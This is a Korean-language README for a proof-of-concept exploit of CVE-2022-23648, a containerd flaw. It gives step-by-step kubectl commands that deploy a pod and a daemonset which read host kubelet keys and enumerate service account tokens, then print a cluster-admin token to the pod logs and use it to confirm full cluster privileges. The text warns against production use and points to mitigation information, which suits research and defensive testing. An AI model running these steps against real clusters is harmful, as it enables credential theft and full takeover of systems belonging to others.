
POC for CVE-2022-23648
이것은 @_fel1x의 CVE-2022-23648에 대한 개념 증명(Proof of Concept)입니다. 공개 정보는 여기, CVE 정보는 여기, 그리고 추가 정보와 완화 아이디어가 담긴 블로그는 여기에서 확인할 수 있습니다. Containerfile에 필요한 정보가 있으며, VOLUME의 대상을 변경하여 다양한 경로를 시험해 볼 수 있습니다.
작동하는 것을 보여주는 가장 쉬운 방법은 KinD를 사용하는 것입니다. KinD는 취약한 이미지를 가지고 있습니다.
노드에 /var/lib/kubelet/pki에 데이터가 많은 경우가 아니라면, 이 테스트는 안전합니다.
kind create cluster --image=kindest/node:v1.21.1kubectl create -f pod-manifest.yamlkubectl exec poctest -- ls /var/lib/kubelet/pki/그리고 kubelet.key를 포함한 파일들이 반환되면 작동한 것입니다 :)
참고: 프로덕션 클러스터에서 시도하지 마십시오. 취약한 Containerd는 공격 파드에 많은 데이터를 복제하여 디스크 공간을 소진시킬 수 있습니다. 또한, 이 작업은 cluster-admin 서비스 계정 토큰을 파드 로그에 출력하며, 이는 일반 텍스트로 로깅 대상에 전송될 가능성이 높습니다.
이것은 노드의 모든 Kubernetes 서비스 계정 토큰을 열거하고, cluster-admin 토큰으로 확인되면 파드 로그에 출력하는 데몬셋을 실행합니다.
kubectl apply -f ds.yamlkubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i '*' '*' -Ayes가 출력되면 축하합니다. 단기 cluster-admin 서비스 계정 토큰을 획득한 것입니다. 다음을 실행하십시오:
kubectl logs -l app=poctest | head -1 | awk -F\. '{print $2}' | base64 -d 어떤 SA인지 확인하려면kubectl --token="$(kubectl logs -l app=poctest | head -1)" get pods -Akubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i --list